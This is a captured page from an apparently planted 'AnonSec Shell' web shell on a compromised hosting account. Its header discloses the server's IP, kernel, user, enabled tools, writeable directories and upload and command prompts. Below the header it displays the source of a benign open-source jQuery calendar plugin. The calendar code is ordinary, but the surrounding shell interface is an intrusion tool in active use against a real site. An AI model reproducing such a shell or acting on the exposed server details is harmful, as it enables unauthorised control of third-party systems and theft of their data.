AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_community/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_community/assets/js/bic_calendar.js
/*
 *
 * bic calendar
 * Autor: bichotll
 * Web-autor: bic.cat
 * Web script: http://bichotll.github.io/bic_calendar/
 * Llicència Apache
 *
 */

$.fn.bic_calendar = function(options) {

    var opts = $.extend({}, $.fn.bic_calendar.defaults, options);

    this.each(function(){

        var calendario;
        var capaDiasMes;
        var capaTextoMesAnoActual = $('<div class="visualmesano"></div>');

        var id_calendari = "bic_cal_" + Math.floor(Math.random()*99999).toString(36);

        var events = opts.events;

        var dias;
        if ( typeof opts.dias != "undefined" )
            dias = opts.dias;
        else
            dias = ["l", "m", "x", "j", "v", "s", "d"];

        var nombresMes;
        if ( typeof opts.nombresMes != "undefined" )
            nombresMes = opts.nombresMes;
        else
            nombresMes = ["Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre"];

        var show_days;
        if ( typeof opts.show_days != "undefined" )
            show_days = opts.show_days;
        else
            show_days = true;

        var popover_options;
        if ( typeof opts.popover_options != "undefined" )
            popover_options = opts.popover_options;
        else
            popover_options = {placement: 'top'};

        var tooltip_options;
        if ( typeof opts.tooltip_options != "undefined" )
            tooltip_options = opts.tooltip_options;
        else
            tooltip_options = {placement: 'top'};

        var req_ajax;
        if ( typeof opts.req_ajax != "undefined" )
            req_ajax = opts.req_ajax;
        else
            req_ajax = false;



        //element llamado
        var elem = $(this);

        //mostrem el calendari
        mostrarCalendario();



        /*** functions ***/

        //funció para mostrar el calendari
        function mostrarCalendario(){

            //capa con los días del mes
            capaDiasMes = $('<table class="diasmes table table">');

            llistar_literals_setmana();

            //un objeto de la clase date para calculo de fechas
            var objFecha = new Date();
            //miro si en el campo INPUT tengo alguna fecha escrita
            var textoFechaEscrita = elem.val();
            if (textoFechaEscrita!= ""){
                if (validarFechaEscrita(textoFechaEscrita)){
                    var arrayFechaEscrita = textoFechaEscrita.split("/");
                    //hago comprobación sobre si el año tiene dos cifras
                    if(arrayFechaEscrita[2].length == 2){
                        if (arrayFechaEscrita[2].charAt(0)=="0"){
                            arrayFechaEscrita[2] = arrayFechaEscrita[2].substring(1);
                        }
                        arrayFechaEscrita[2] = parseInt(arrayFechaEscrita[2]);
                        if (arrayFechaEscrita[2] < 50)
                            arrayFechaEscrita[2] += 2000;
                    }
                    objFecha = new Date(arrayFechaEscrita[2], arrayFechaEscrita[1]-1, arrayFechaEscrita[0])
                }
            }

            //mes y año actuales
            var mes = objFecha.getMonth();
            var ano = objFecha.getFullYear();
            //muestro los días del mes y año dados
            muestraDiasMes(mes, ano);


            //controles para ir al mes siguiente / anterior
            var botonMesSiguiente = $('<td><a href="#" class="botonmessiguiente"><i class="icon-arrow-right" ></i></a></td>');
            botonMesSiguiente.click(function(e){
                e.preventDefault();
                mes = (mes + 1) % 12;
                if (mes==0)
                    ano++;
                canvi_mes(mes, ano);
            })
            var botonMesAnterior = $('<td><a href="#" class="botonmesanterior"><i class="icon-arrow-left" ></i></a></td>');
            botonMesAnterior.click(function(e){
                e.preventDefault();
                mes = (mes - 1);
                if (mes==-1){
                    ano--;
                    mes = 11;
                }
                canvi_mes(mes, ano);
            })

            //capa para mostrar el texto del mes y ano actual
            var capaTextoMesAno = $('<table class="table header"><tr></tr></table>');
            var capaTextoMesAnoControl = $('<td colspan=5 class="mesyano span6"></td>');
            capaTextoMesAno.append(botonMesAnterior);
            capaTextoMesAno.append(capaTextoMesAnoControl);
            capaTextoMesAno.append(botonMesSiguiente);
            capaTextoMesAnoControl.append(capaTextoMesAnoActual);

            //calendario y el borde
            calendario = $('<div class="bic_calendar" id="' +id_calendari +'" ></div>');
            calendario.prepend(capaTextoMesAno);
            //calendario.append(capaDiasSemana);
            //capaDiasMes.prepend(capaDiasSemana);
            calendario.append(capaDiasMes);

            //inserto el calendario en el documento
            elem.append(calendario);

            check_events(mes, ano);
        }

        function canvi_mes(mes, ano){
            capaDiasMes.empty();
            llistar_literals_setmana();
            muestraDiasMes(mes, ano);
            check_events(mes, ano);
        }

        //funció mostra literals setmana
        function llistar_literals_setmana(){
            if ( show_days != false ){
                var capaDiasSemana = $('<tr class="dias_semana" >');
                var codigoInsertar = '';
                $(dias).each(function(indice, valor){
                    codigoInsertar += '<td';
                    if (indice==0){
                        codigoInsertar += ' class="primero"';
                    }
                    if (indice==6){
                        codigoInsertar += ' class="domingo ultimo"';
                    }
                    codigoInsertar += ">" + valor + '</td>';
                });
                codigoInsertar += '</tr>';
                capaDiasSemana.append(codigoInsertar);

                capaDiasMes.append(capaDiasSemana);
            }
        }

        function muestraDiasMes(mes, ano){
            //console.log("muestro (mes, ano): ", mes, " ", ano)
            //muestro en la capaTextoMesAno el mes y ano que voy a dibujar
            capaTextoMesAnoActual.text(nombresMes[mes] + " " + ano);

            //muestro los días del mes
            var contadorDias = 1;

            //calculo la fecha del primer día de este mes
            var primerDia = calculaNumeroDiaSemana(1, mes, ano);
            //calculo el último día del mes
            var ultimoDiaMes = ultimoDia(mes,ano);

            var n_mes = mes + 1;

            var capaDiasMes_string = "";

            //escribo la primera fila de la semana
            for (var i=0; i<7; i++){
                if (i < primerDia){
                    var codigoDia = "";
                    if (i == 0)
                        codigoDia += "<tr>";
                    //si el dia de la semana i es menor que el numero del primer dia de la semana no pongo nada en la celda
                    codigoDia += '<td class="diainvalido';
                    if (i == 0)
                        codigoDia += " primero";
                    codigoDia += '"></td>';
                } else {
                    var codigoDia = "";
                    if (i == 0)
                        codigoDia += '<tr>';
                    codigoDia += '<td id="' + id_calendari + '_' + contadorDias + "_" +  n_mes  + "_" + ano + '" ';
                    if (i == 0)
                        codigoDia += ' class="primero"';
                    if (i == 6)
                        codigoDia += ' class="ultimo domingo"';
                    codigoDia += '><a>' + contadorDias + '</a></span>';
                    if (i == 6)
                        codigoDia += '</tr>';
                    contadorDias++;
                }
                capaDiasMes_string += codigoDia
            }

            //recorro todos los demás días hasta el final del mes
            var diaActualSemana = 1;
            while (contadorDias <= ultimoDiaMes){
                var codigoDia = "";
                if (diaActualSemana % 7 == 1)
                    codigoDia += "<tr>";
                codigoDia += '<td id="' + id_calendari + '_' + contadorDias + "_" +  n_mes  + "_" + ano + '" ';
                //si estamos a principio de la semana escribo la clase primero
                if (diaActualSemana % 7 == 1)
                    codigoDia += ' class="primero"';
                //si estamos al final de la semana es domingo y ultimo dia
                if (diaActualSemana % 7 == 0)
                    codigoDia += ' class="domingo ultimo"';
                codigoDia += '><a>' + contadorDias + '</a></td>';
                if (diaActualSemana % 7 == 0)
                    codigoDia += "</tr>";
                contadorDias++;
                diaActualSemana++;
                capaDiasMes_string += codigoDia
            }

            //compruebo que celdas me faltan por escribir vacias de la última semana del mes
            diaActualSemana--;
            if (diaActualSemana%7!=0){
                codigoDia = "";
                for (var i=(diaActualSemana%7)+1; i<=7; i++){
                    var codigoDia = "";
                    codigoDia += '<td class="diainvalido';
                    if (i==7)
                        codigoDia += ' ultimo'
                    codigoDia += '"></td>';
                    if (i==7)
                        codigoDia += '</tr>'
                    capaDiasMes_string += codigoDia
                }
            }

            capaDiasMes.append( capaDiasMes_string );
        }
        //función para calcular el número de un día de la semana
        function calculaNumeroDiaSemana(dia,mes,ano){
            var objFecha = new Date(ano, mes, dia);
            var numDia = objFecha.getDay();
            if (numDia == 0)
                numDia = 6;
            else
                numDia--;
            return numDia;
        }

        //función para ver si una fecha es correcta
        function checkdate ( m, d, y ) {
            // función por http://kevin.vanzonneveld.net
            // extraida de las librerías phpjs.org manual en http://www.desarrolloweb.com/manuales/manual-librerias-phpjs.html
            return m > 0 && m < 13 && y > 0 && y < 32768 && d > 0 && d <= (new Date(y, m, 0)).getDate();
        }

        //funcion que devuelve el último día de un mes y año dados
        function ultimoDia(mes,ano){
            var ultimo_dia=28;
            while (checkdate(mes+1,ultimo_dia + 1,ano)){
                ultimo_dia++;
            }
            return ultimo_dia;
        }

        function validarFechaEscrita(fecha){
            var arrayFecha = fecha.split("/");
            if (arrayFecha.length!=3)
                return false;
            return checkdate(arrayFecha[1], arrayFecha[0], arrayFecha[2]);
        }

        function check_events(mes, ano){
            if (req_ajax != false){
                if(req_ajax.type == 'data'){
                    events = [];
                    var data = JSON.parse(req_ajax.data);

                    $.each(data, function(k,v){
                            events.push(data[k]);
                        });
                    marcarEventos(mes, ano);
                } else {
                    //peticio ajax
                    $.ajax({
                        type: req_ajax.type,
                        url: req_ajax.url,
                        data: { mes: mes + 1, ano: ano },
                        dataType: 'json'
                    }).done(function( data ) {

                        events = [];

                        $.each(data, function(k,v){
                            events.push(data[k]);
                        });

                        marcarEventos(mes, ano);

                    });
                }
            } else {
                marcarEventos(mes, ano);
            }
        }

        function marcarEventos(mes, ano){
            var t_mes = mes + 1;

            for(var i=0; i< events.length; i++) {

                if ( events[i][0].split('/')[1] == t_mes && events[i][0].split('/')[2] == ano ){

                    $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") ).addClass('event');

                    $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).attr('data-original-title', events[i][1]);

                    //bg
                    if ( events[i][3] )
                        $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") ).css('background', events[i][3]);

                    //link
                    if ( events[i][2] == '' || events[i][2] == '#' ){
                        if ( events[i][4] != '' ){
                            $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).attr('data-trigger', 'manual');
                            $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).addClass('manual_popover');
                        } else {
                            $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).attr('href', 'javascript:void(0);');
                        }
                    } else {
                        $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).attr('href', events[i][2]);
                    }


                    //tooltip vs popover
                    if ( events[i][4] ){
                        $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") ).addClass('event_popover');
                        $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).attr('rel', 'popover');
                        $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).attr('data-content', events[i][4]);
                    } else {
                        $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") ).addClass('event_tooltip');
                        $('#' + id_calendari + '_' + events[i][0].replace(/\//g, "_") + ' a' ).attr('rel', 'tooltip');
                    }
                }
            }

            $('#' + id_calendari + ' ' + '.event_tooltip a').tooltip(tooltip_options);
            $('#' + id_calendari + ' ' + '.event_popover a').popover(popover_options);

            $('.manual_popover').click( function(){
                $(this).popover('toggle');
            } );
        }

    /*** --functions-- ***/



    });
    return this;
};


//defaults values
/*$.fn.highlight.defaults = {

    };*/

Anon7 - 2022
AnonSec Team